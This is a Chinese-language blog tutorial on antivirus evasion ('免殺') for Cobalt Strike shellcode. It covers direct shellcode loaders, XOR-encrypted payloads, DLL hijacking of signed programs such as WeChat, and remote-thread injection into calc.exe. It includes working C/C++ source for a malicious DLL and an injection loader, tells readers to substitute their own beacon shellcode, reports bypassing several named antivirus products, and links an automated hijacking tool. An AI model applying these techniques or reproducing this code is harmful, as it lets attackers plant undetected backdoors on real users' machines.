當你的才華
還撐不起你的野心時
那你就應該靜下心來學習
目錄
0x01 前言
最近在研究shellcode的免殺技術,因本人以前主要是搞逆向的,shellcode免殺方面還是個小白,所以就想着去看一看我老師任曉琿寫的《黑客免殺攻防》想從中尋找一些思路,但是也沒有找到比較好實際運用的例子來進行實踐。後來看了看卿先生的博客和拿破輪胎寫的文章實踐了一下里面的幾種思路,感覺還挺有意思,特記錄實踐過程與大家分享一下,有寫錯的地方還請各位大佬斧正,當然啦,好的免殺方法一旦公佈也就很快就不免殺了,網上搜索能得到的免殺方法也幾乎都是炒冷飯,但是冷飯就沒有營養可以汲取嗎?所以說我們可以借鑑別人分享思路,發散思維打造自己的免殺方法。
0x02 直接生成可執行文件
目前網上有很多的自動生成免殺shellcode的工具,但是要知道殺毒軟件檢測某個免殺工具也是非常容易的,因爲這些流行工具的指紋很容易被殺軟公司蒐集到然後加入特徵庫,這樣就使得通過這個工具製作的shellcode免殺基本上就失靈了,工具就變得很容易過時,所以我們需要來自己製作免殺。
我們使用CS生成C語言形式的shellcode
用VS編寫程序加載shellcode加載器直接生成木馬程序可執行文件。
關於shellcode的加載器編寫方式大家可以參考這篇文章:https://uknowsec.cn/posts/notes/shellcode%E5%8A%A0%E8%BD%BD%E6%80%BB%E7%BB%93.html
生成可執行文件後使用360靜態查殺結果如下,這樣直接生成可執行文件的形式有時候也可以躲避一些殺軟的查殺。
點擊我們直接生成的可執行文件,CS成功上線360未攔截(其餘殺軟請自行測試)。
0x03 加密shellcode後生成可執行文件
但是這種直接生成可執行文件的免殺效果有時候還是不太夠,我們可以把shellcode進行加密存儲,然後在執行的時候再解密出來執行,免殺效果會好一些。首先,我們要挑選一種加密方式來加密我們的shellcode,因爲加密的方式有很多種,我們可以對全部shellcode使用同一種加密,也可以對shellcode進行分段使用不同的加密手段加密再分段解密,當然也可以進行多次加密等。
以最簡單的異或加密爲例:我們拿到shellcode以後可以將shellcode以16進制文本的形式粘貼進010Editor,然後使用其自帶的異或運算來異或加密shellcode。
我們將異或加密過的shellcode(我異或的0×97),粘貼進我們編寫的代碼中,然後在執行之前進行循環異或回來,因爲異或過X的內容,再異或一下X就會還原回以前的內容。
使用360進行靜態查殺無毒,點擊後CS可上線360未攔截。當然這只是很簡單的一種加密方式,現在加密算法有很多,加密的方式也有很多,比如說base64加密,RCfour加密,或者說是自己寫的加密方式等等,沒有哪一種加密方式是最好的。只要是能夠隱藏我們shellcode原本內容的都可以進行嘗試。
0x04 dll劫持白加黑方式免殺
上面的方法可以過一些殺毒,但是例如火絨有時候就可以在惡意軟件一啓動就攔截,但是如果你的惡意軟件添加了數字簽名,並且已經列入白名單,殺毒軟件是不會攔截的。因爲買數字簽名太貴,但是如果我們利用dll劫持,把有數字簽名的文件劫持了,利用白加黑文件的形式就可以輕鬆的利用別人已經簽名了的程序運行我們的木馬。
流程圖
具體操作
我們使用VS新建一個執行shellcode的dll,這裏我使用的是彈計算器的shellcode且沒有進行加解密操作,大家可以自行替換爲自己的shllcode,或者再進行shellcode加解密操作都可以。
我們需要注意三點:
1.執行shellcode的命令必須放在dll的主函數“DllMain”中
2.我們需要新建一個線程運行shellcode
3.必須要有一個導出函數,函數裏面的內容隨意編寫,沒有影響,只是作爲一個引子而已。
dllmain中代碼如下:
// dllmain.cpp : 定義 DLL 應用程序的入口點。
#include "stdafx.h"
#include<windows.h>
#include<iostream>
HANDLE My_hThread = NULL;
unsigned char shellcode[] = "\xfc\xe8\x82\x00\x00\x00\x60\x89\xe5\x31\xc0\x64\x8b\x50\x30\x8b\x52\x0c\x8b\x52\x14\x8b\x72\x28\x0f\xb7\x4a\x26\x31\xff\xac\x3c\x61\x7c\x02\x2c\x20\xc1\xcf\x0d\x01\xc7\xe2\xf2\x52\x57\x8b\x52\x10\x8b\x4a\x3c\x8b\x4c\x11\x78\xe3\x48\x01\xd1\x51\x8b\x59\x20\x01\xd3\x8b\x49\x18\xe3\x3a\x49\x8b\x34\x8b\x01\xd6\x31\xff\xac\xc1\xcf\x0d\x01\xc7\x38\xe0\x75\xf6\x03\x7d\xf8\x3b\x7d\x24\x75\xe4\x58\x8b\x58\x24\x01\xd3\x66\x8b\x0c\x4b\x8b\x58\x1c\x01\xd3\x8b\x04\x8b\x01\xd0\x89\x44\x24\x24\x5b\x5b\x61\x59\x5a\x51\xff\xe0\x5f\x5f\x5a\x8b\x12\xeb\x8d\x5d\x6a\x01\x8d\x85\xb2\x00\x00\x00\x50\x68\x31\x8b\x6f\x87\xff\xd5\xbb\xe0\x1d\x2a\x0a\x68\xa6\x95\xbd\x9d\xff\xd5\x3c\x06\x7c\x0a\x80\xfb\xe0\x75\x05\xbb\x47\x13\x72\x6f\x6a\x00\x53\xff\xd5\x63\x61\x6c\x63\x2e\x65\x78\x65\x00";
DWORD WINAPI ceshi(LPVOID pParameter)
{
__asm
{
mov eax, offset shellcode
jmp eax
}
return 0;
}
BOOL APIENTRY DllMain( HMODULE hModule,
DWORD ul_reason_for_call,
LPVOID lpReserved
)
{
switch (ul_reason_for_call)
{
case DLL_PROCESS_ATTACH://初次調用dll時執行下面代碼
My_hThread = ::CreateThread(NULL, 0, &ceshi, 0, 0, 0);//新建線程
case DLL_THREAD_ATTACH:
case DLL_THREAD_DETACH:
case DLL_PROCESS_DETACH:
break;
}
return TRUE;
}
extern"C" _declspec(dllexport) void test()
{
int a;
a = 0;
}
我們編譯生成dll以後,使用lordPE 查看一下輸出表中是否有test函數,如果有則說明我們編寫的dll沒毛病(關於PE文件各種表的功能大家自行百度搜索)。
接下來我們就要選擇我們要劫持的dll了,例如我們要劫持KK錄像機的libfontconfig-1.dll(儘量選擇和主程序在同一目錄的dll)。
下一步我們要用到一個工具叫Stud_PE,大家可以自行下載,然後我們把libfontconfig-1.dll拖入,依次點擊函數欄-》右鍵添加新的輸入表-》dll選擇-》選擇函數-》選中我們導出的函數-》點擊加入即可。
然後我們把我們用VS生成的dll放到和我們剛纔修改過的dll同目錄下,運行KK錄像機就可以了。
成功彈出計算器。PS(這裏要提一句,白文件dll的選擇一定要選擇程序加載的dll,可以使用Procmon.exe來監控程序運行的時候都加載哪些dll)
查殺效果如下圖所示。
0x05 利用工具自動劫持
可能沒有編程基礎或者二進制知識的小夥伴們有點難懂前面的幾篇文章,不過沒有關係,現在已經有大佬搞出了自動化劫持的工具了,該工具不僅能劫持dll,還支持劫持exe。先介紹一下工具:
此注入工具是添加輸入表進行IAT注入:
1:輸入cs或者msf生成shellcode生成免殺dll文件
2:添加需要劫持的軟件或者dll
3:劫持過後會在運行目錄生成一個Dll和inf配置文件
4:需要把兩個文件放在被劫持的軟件同目錄下才可運行
生成的DLL經過免殺處理,目前只能注入未加殼軟件和dll,如果加殼可生成dll過後自行利用lordpe進行添加輸入表。
PS:此工具使用易語言編寫可能會有殺軟報毒(殺軟對易語言程序不太友好),可考慮在虛擬機裏面使用。
劫持微信演示
下面我使用微信來給大家做一下演示:
我們打開工具後在下圖所示地方輸入自己的shellcode
隨後我們點擊生成dll
會在工具所在目錄下面生成如下圖2個文件。
然後我們點擊劫持文件,在點擊瀏覽選擇剛纔我們生成的dll,然後點擊選擇文件選擇微信的程序,點擊注入到導入表即可。
程序會主動備份被劫持的程序,後綴爲.exe~,如果想還原只需要去掉~即可。然後我們還需要將生成的那兩個文件複製到被劫持程序的同目錄內。
然後我們點擊被劫持的微信即可運行shellcode。
工具下載網盤:鏈接:https://pan.baidu.com/s/1w8T5vgfGnIBU2Gkpq1kogQ
提取碼:c29j
0x06 利用遠程線程注入shellcode混淆免殺
遠程線程注入是指一個進程在另一個進程中創建線程的技術,我們使用遠程線程注入技術可實現shllcode的混淆免殺效果。
詳細操作
使用VS建立C語言控制檯項目
在項目上右鍵屬性-》將MFC的使用選爲在靜態庫中使用MFC(這樣可以保證在別人機器上也可以運行,不會受到缺少依賴庫的限制),缺點是生成的文件較大。
然後將以下代碼中的shellcode數組替換爲自己CS生成的或MSF生成的上線shellcode。
#include "stdafx.h"
#include <Windows.h>
#include<stdio.h>
#include "iostream"
//隱藏運行程序時的cmd窗口
#pragma comment( linker, "/subsystem:windows /entry:mainCRTStartup" )
using namespace std;
//使用CS或msf生成的C語言格式的上線shellcode
unsigned char shellcode[] = "\xfc\xe8\x89\x00\x00\x00\x60\x89\xe5\x31\xd2...........";
BOOL injection()
{
wchar_t Cappname[MAX_PATH] = { 0 };
STARTUPINFO si;
PROCESS_INFORMATION pi;
LPVOID lpMalwareBaseAddr;
LPVOID lpnewVictimBaseAddr;
HANDLE hThread;
DWORD dwExitCode;
BOOL bRet = FALSE;
//把基地址設置爲自己shellcode數組的起始地址
lpMalwareBaseAddr = shellcode;
//獲取系統路徑,拼接字符串找到calc.exe的路徑
GetSystemDirectory(Cappname, MAX_PATH);
_tcscat(Cappname, L"\\calc.exe");
//打印注入提示
// printf("被注入的程序名:%S\r\n", Cappname);
ZeroMemory(&si, sizeof(si));
si.cb = sizeof(si);
ZeroMemory(&pi, sizeof(pi));
//創建calc.exe進程
if (CreateProcess(Cappname, NULL, NULL, NULL,
FALSE, CREATE_SUSPENDED//CREATE_SUSPENDED新進程的主線程會以暫停的狀態被創建,直到調用ResumeThread函數被調用時才運行。
, NULL, NULL, &si, &pi) == 0)
{
return bRet;
}
//在
lpnewVictimBaseAddr = VirtualAllocEx(pi.hProcess
, NULL, sizeof(shellcode) + 1, MEM_COMMIT | MEM_RESERVE,
PAGE_EXECUTE_READWRITE);
if (lpnewVictimBaseAddr == NULL)
{
return bRet;
}
//遠程線程注入過程
WriteProcessMemory(pi.hProcess, lpnewVictimBaseAddr,
(LPVOID)lpMalwareBaseAddr, sizeof(shellcode) + 1, NULL);
hThread = CreateRemoteThread(pi.hProcess, 0, 0,
(LPTHREAD_START_ROUTINE)lpnewVictimBaseAddr, NULL, 0, NULL);
WaitForSingleObject(pi.hThread, INFINITE);
GetExitCodeProcess(pi.hProcess, &dwExitCode);
TerminateProcess(pi.hProcess, 0);
return bRet;
}
void help(char* proc)
{
// printf("%s:創建進程並將shellcode寫入進程內存\r\n", proc);
}
int main(int argc, char* argv[])
{
help(argv[0]);
injection();
}
編譯生成運行以後會發現程序會自動在後臺啓動一個系統的calc.exe進程,調試結果如下圖所示。
同時CS端上線。
我的電腦上面同時開着WD、火絨、360、騰訊等殺毒軟件,只有火絨提示已阻止,但是觀察CS端並未掉線。靜態查殺也都沒有報毒。
下爲運行時動態查殺圖:
此方法還可配合其他方式,比如前面提到的shellcode加密解密免殺等,免殺的手段千變萬化,沒有哪一種免殺是最好的,我們要學會搭配運用,根據對方的防護情況來佈置自己的免殺方式,再次感謝卿先生博客和拿破輪胎提供的免殺思路。
參考鏈接:
《那些shellcode免殺總結》:
https://www.cnblogs.com/-qing-/p/12234148.html#_lab2_1_1
《shllcode免殺實戰系列》:https://mp.weixin.qq.com/s/iMiTMGQS4sdPIiqVdfppig
雖然我們生活在陰溝裏,但依然有人仰望星空!